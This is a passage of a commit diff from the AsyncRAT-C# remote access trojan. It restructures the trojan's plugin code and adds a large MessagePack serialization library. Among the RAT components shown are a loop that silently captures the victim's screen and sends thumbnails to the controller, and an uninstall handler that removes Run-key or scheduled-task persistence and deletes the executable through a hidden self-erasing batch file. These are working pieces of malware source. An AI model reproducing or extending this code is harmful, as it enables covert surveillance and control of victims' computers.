Packet.ctsThumbnails = new CancellationTokenSource();
while (Connection.IsConnected && !Packet.ctsThumbnails.IsCancellationRequested)
{
Thread.Sleep(new Random().Next(2500, 7000));
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
using (Graphics g = Graphics.FromImage(bmp))
using (MemoryStream memoryStream = new MemoryStream())
{
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero);
thumb.Save(memoryStream, ImageFormat.Jpeg);
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid;
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
Connection.Send(msgpack.Encode2Bytes());
thumb.Dispose();
}
bmp.Dispose();
}
}
catch { }
Connection.Disconnected();
}
}
}

10
AsyncRAT-C#/Client/Handle Packet/HandleUAC.cs → AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUAC.cs
View File

@ -1,15 +1,10 @@
using Client.Helper; using System;
using Microsoft.Win32;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.IO;
using System.Linq; using System.Linq;
using System.Security.Principal;
using System.Text; using System.Text;
using System.Windows.Forms;
namespace Client.Handle_Packet namespace Plugin.Handler
{ {
public class HandleUAC public class HandleUAC
{ {
@ -37,4 +32,5 @@ namespace Client.Handle_Packet
catch { } catch { }
} }
} }
} }

62
AsyncRAT-C#/Plugin/Options/Options/Handler/HandleUninstall.cs Normal file
View File

@ -0,0 +1,62 @@
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace Plugin.Handler
{
public class HandleUninstall
{
public HandleUninstall()
{
if (Convert.ToBoolean(Plugin.Install))
{
try
{
if (!Methods.IsAdmin())
Registry.CurrentUser.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteValue(Plugin.InstallFile);
else
{
Process.Start(new ProcessStartInfo()
{
FileName = "schtasks",
Arguments = "/delete /f /tn " + @"""'" + Plugin.InstallFile + @"""'",
CreateNoWindow = true,
ErrorDialog = false,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
});
}
}
catch { }
}
string batch = Path.GetTempFileName() + ".bat";
using (StreamWriter sw = new StreamWriter(batch))
{
sw.WriteLine("@echo off");
sw.WriteLine("timeout 3 > NUL");
sw.WriteLine("CD " + Application.StartupPath);
sw.WriteLine("DEL " + "\"" + Path.GetFileName(Application.ExecutablePath) + "\"" + " /f /q");
sw.WriteLine("CD " + Path.GetTempPath());
sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q");
}
Process.Start(new ProcessStartInfo()
{
FileName = batch,
CreateNoWindow = true,
ErrorDialog = false,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
});
Methods.ClientExit();
Environment.Exit(0);
}
}
}

102
AsyncRAT-C#/Plugin/Options/Options/MessagePack/BytesTools.cs Normal file
View File

@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

926
AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPack.cs Normal file
View File

@ -0,0 +1,926 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

24
AsyncRAT-C#/Plugin/Options/Options/MessagePack/MsgPackType.cs Normal file
View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

84
AsyncRAT-C#/Plugin/Options/Options/MessagePack/ReadTools.cs Normal file
View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

199
AsyncRAT-C#/Plugin/Options/Options/MessagePack/WriteTools.cs Normal file
View File

@ -0,0 +1,199 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
